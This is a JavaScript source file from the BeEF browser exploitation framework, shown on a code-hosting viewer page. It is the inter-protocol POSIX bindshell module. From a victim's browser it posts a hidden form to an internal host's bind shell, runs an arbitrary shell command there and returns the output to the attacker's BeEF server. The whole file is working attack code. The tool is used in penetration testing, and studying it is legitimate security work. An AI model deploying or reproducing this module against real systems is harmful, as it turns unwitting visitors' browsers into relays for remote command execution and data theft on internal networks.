Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
 Path: blob/master/modules/ipec/inter_protocol_posix_bindshell/command.js
1154 views
1
//

2
// Copyright (c) 2006-2025Wade Alcorn - [email protected]

3
// Browser Exploitation Framework (BeEF) - https://beefproject.com

4
// See the file 'doc/COPYING' for copying permission

5
//

6


7
beef.execute(function() {

8


9
	var target_ip = "<%= @ip %>";

10
	var target_port = "<%= @port %>";

11
	var cmd = '<%= @cmd %>';

12
	var timeout = "<%= @command_timeout %>";

13
	var internal_counter = 0;

14
	var result_size = "<%= @result_size %>";

15


16
	// create iframe

17
	var iframe = document.createElement("iframe");

18
	iframe.setAttribute("id","ipc_posix_window_<%= @command_id %>");

19
	iframe.setAttribute("style", "visibility:hidden;width:1px;height:1px;");

20
	document.body.appendChild(iframe);

21


22
	// send a request

23
	function send_cmds(ip, port, cmd, size) {

24


25
		var action = "http://" + ip + ":" + port + "/index.html?&/bin/sh;";

26
		var parent = window.location.href;

27


28
		// create form

29
		myform=document.createElement("form");

30
		myform.setAttribute("name","data");

31
		myform.setAttribute("method","post");

32
		myform.setAttribute("enctype","multipart/form-data");

33
		myform.setAttribute("action",action);

34
		document.getElementById("ipc_posix_window_<%= @command_id %>").contentWindow.document.body.appendChild(myform); 

35


36
		body1="<html><body><div id='ipc_content'>";

37
        body2="__END_OF_POSIX_IPC<%= @command_id %>__</div><s"+"cript>window.location='"+parent+"#ipc_result='+encodeURI(document.getElementById(\\\"ipc_content\\\").innerHTML);</"+"script></body></html>";

38


39
		// post results separator

40
		myExt = document.createElement("INPUT");

41
		myExt.setAttribute("id",<%= @command_id %>);

42
		myExt.setAttribute("name",<%= @command_id %>);

43
		myExt.setAttribute("value","echo -e HTTP/1.1 200 OK\\\\r;echo -e Content-Type: text/html\\\\r;echo -e Content-Length: "+(body1.length+cmd.length+body2.length+size*1)+"\\\\r;echo -e Keep-Alive: timeout=5,max=100\\\\r;echo -e Connection: keep-alive\\\\r;echo -e \\\\r;echo \""+body1+"\";(" + cmd + ")|head -c "+size+" ; ");

44
		myform.appendChild(myExt);

45


46
		// Adding buffer space for the command result

47
		end_talkback=" echo -e \""+body2;

48
		while(--size) end_talkback+=" ";

49
		end_talkback+="\" \\\\r ;";

50


51
		// post js to call home and close connection

52
		myExt2 = document.createElement("INPUT");

53
		myExt2.setAttribute("id","endTag");

54
		myExt2.setAttribute("name","</div>");

55
		myExt2.setAttribute("value",end_talkback);

56


57
		myform.appendChild(myExt2);

58
		myform.submit();

59
	}

60


61
	// wait <timeout> seconds for iframe url fragment to match #ipc_result=

62
	function waituntilok() {

63


64
		try {

65
			if (/#ipc_result=/.test(document.getElementById("ipc_posix_window_<%= @command_id %>").contentWindow.location)) {

66
				ipc_result = document.getElementById("ipc_posix_window_<%= @command_id %>").contentWindow.location.href;

67
				output = ipc_result.substring(ipc_result.indexOf('#ipc_result=')+12,ipc_result.lastIndexOf('__END_OF_POSIX_IPC<%= @command_id %>__'));

68
				beef.net.send('<%= @command_url %>', <%= @command_id %>, "result="+decodeURI(output.replace(/%0A/gi, "<br>")).replace(/</g, "&lt;").replace(/>/g, "&gt;").replace(/&lt;br&gt;/gi, "<br>"));

69
				document.body.removeChild(iframe);

70
				return;

71
			} else throw("command results haven't been returned yet");

72
		} catch (e) {

73
			internal_counter++;

74
			if (internal_counter > timeout) {

75
				beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Timeout after '+timeout+' seconds');

76
				document.body.removeChild(iframe);

77
				return;

78
			}

79
			setTimeout(function() {waituntilok()},1000);

80
		}

81
	}

82


83
	// validate target

84
	if (!target_port || !target_ip) {

85
		beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=malformed target host or target port');

86
	} else if (!beef.net.is_valid_port(target_port)) {

87
		beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=invalid target port');

88
	// send request and wait for reply

89
	} else {

90
		send_cmds(target_ip, target_port, cmd,result_size);

91
		waituntilok();

92
	}

93


94
});

95


96


97